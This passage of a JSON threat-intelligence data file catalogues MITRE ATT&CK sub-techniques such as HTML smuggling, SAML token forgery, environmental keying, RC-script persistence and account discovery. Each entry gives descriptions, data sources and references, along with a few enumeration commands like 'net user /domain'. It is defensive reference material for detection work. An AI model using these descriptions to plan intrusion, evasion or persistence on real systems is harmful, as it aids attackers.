"https://www.virustotal.com/en/faq/",
"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
"value": "Binary Padding - T1027.001"
},
{
"description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
"meta": {
"external_id": "T1071.003",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1071/003"
]
},
"related": [
{
"dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
"type": "subtechnique-of"
}
],
"uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
"value": "Mail Protocols - T1071.003"
},
{
"description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
"meta": {
"external_id": "T1480.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1480/001",
"https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf",
"https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf",
"https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf",
"https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/",
"https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices",
"https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf"
]
},
"related": [
{
"dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
"type": "subtechnique-of"
}
],
"uuid": "f244b8dd-af6c-4391-a497-fc03627ce995",
"value": "Environmental Keying - T1480.001"
},
{
"description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1590.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/001",
"https://dnsdumpster.com/",
"https://www.circl.lu/services/passive-dns/",
"https://www.whois.net/"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "e3b168bd-fcd7-439e-9382-2e6c2f63514d",
"value": "Domain Properties - T1590.001"
},
{
"description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
"meta": {
"external_id": "T1606.001",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Web Credential: Web Credential Creation",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"SaaS",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606/001",
"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
"https://wunderwuzzi23.github.io/blog/passthecookie.html",
"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
]
},
"related": [
{
"dest-uuid": "94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
"type": "subtechnique-of"
}
],
"uuid": "861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
"value": "Web Cookies - T1606.001"
},
{
"description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",
"meta": {
"external_id": "T1608.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1608/001",
"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
]
},
"related": [
{
"dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"type": "subtechnique-of"
}
],
"uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e",
"value": "Upload Malware - T1608.001"
},
{
"description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.",
"meta": {
"external_id": "T1069.001",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1069/001"
]
},
"related": [
{
"dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
"type": "subtechnique-of"
}
],
"uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
"value": "Local Groups - T1069.001"
},
{
"description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",
"meta": {
"external_id": "CAPEC-70",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1078/001",
"https://capec.mitre.org/data/definitions/70.html",
"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts",
"https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh",
"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
]
},
"related": [
{
"dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
"type": "subtechnique-of"
}
],
"uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d",
"value": "Default Accounts - T1078.001"
},
{
"description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.",
"meta": {
"external_id": "T1087.001",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1087/001",
"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
]
},
"related": [
{
"dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"type": "subtechnique-of"
}
],
"uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
"value": "Local Account - T1087.001"
},
{
"description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
"meta": {
"external_id": "T1204.002",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"File: File Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1204/002"
]
},
"related": [
{
"dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
"type": "subtechnique-of"
}
],
"uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
"value": "Malicious File - T1204.002"
},
{
"description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ",
"meta": {
"external_id": "CAPEC-570",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"http://en.wikipedia.org/wiki/Executable_compression",
"https://attack.mitre.org/techniques/T1027/002",
"https://capec.mitre.org/data/definitions/570.html",
"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "deb98323-e13f-4b0c-8d94-175379069062",
"value": "Software Packing - T1027.002"
},
{
"description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",
"meta": {
"external_id": "T1204.003",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Container: Container Creation",
"Container: Container Start",
"Image: Image Creation",
"Instance: Instance Creation",
"Instance: Instance Start"
],
"mitre_platforms": [
"IaaS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1204/003",
"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation",
"https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/"
]
},
"related": [
{
"dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
"type": "subtechnique-of"
}
],
"uuid": "b0c74ef9-c61e-4986-88cb-78da98a355ec",
"value": "Malicious Image - T1204.003"
},
{
"description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
"meta": {
"external_id": "T1505.002",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation"
],
"mitre_platforms": [
"Linux",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1505/002",
"https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help",
"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"
]
},
"related": [
{
"dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
"type": "subtechnique-of"
}
],
"uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
"value": "Transport Agent - T1505.002"
},
{
"description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
"meta": {
"external_id": "T1606.002",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Web Credential: Web Credential Creation",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"Azure AD",
"SaaS",
"Windows",
"Office 365",
"Google Workspace",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606/002",
"https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes",
"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
"https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps",
"https://www.sygnia.co/golden-saml-advisory"
]
},
"related": [
{
"dest-uuid": "94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
"type": "subtechnique-of"
}
],
"uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2",
"value": "SAML Tokens - T1606.002"
},
{
"description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
"meta": {
"external_id": "T1027.006",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1027/006",
"https://outflank.nl/blog/2018/08/14/html-smuggling-explained/",
"https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/",
"https://www.menlosecurity.com/blog/new-attack-alert-duri",
"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb",
"value": "HTML Smuggling - T1027.006"
},
{
"description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
"meta": {
"external_id": "T1608.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1608/002",
"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
]
},
"related": [
{
"dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"type": "subtechnique-of"
}
],
"uuid": "506f6f49-7045-4156-9007-7474cb44ad6d",
"value": "Upload Tool - T1608.002"
},
{
"description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.",
"meta": {
"external_id": "T1069.002",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1069/002"
]
},
"related": [
{
"dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
"type": "subtechnique-of"
}
],
"uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
"value": "Domain Groups - T1069.002"
},
{
"description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
"meta": {
"external_id": "CAPEC-560",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Logon Session: Logon Session Metadata",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1078/002",
"https://capec.mitre.org/data/definitions/560.html",
"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
"https://technet.microsoft.com/en-us/library/dn487457.aspx",
"https://technet.microsoft.com/en-us/library/dn535501.aspx",
"https://ubuntu.com/server/docs/service-sssd"
]
},
"related": [
{
"dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
"type": "subtechnique-of"
}
],
"uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
"value": "Domain Accounts - T1078.002"
},
{
"description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.",
"meta": {
"external_id": "CAPEC-575",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1087/002",
"https://capec.mitre.org/data/definitions/575.html"
]
},
"related": [
{
"dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"type": "subtechnique-of"
}
],
"uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
"value": "Domain Account - T1087.002"
},
{
"description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
"meta": {
"external_id": "T1037.004",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Linux"
],
"refs": [
"http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html",
"https://attack.mitre.org/techniques/T1037/004",
"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
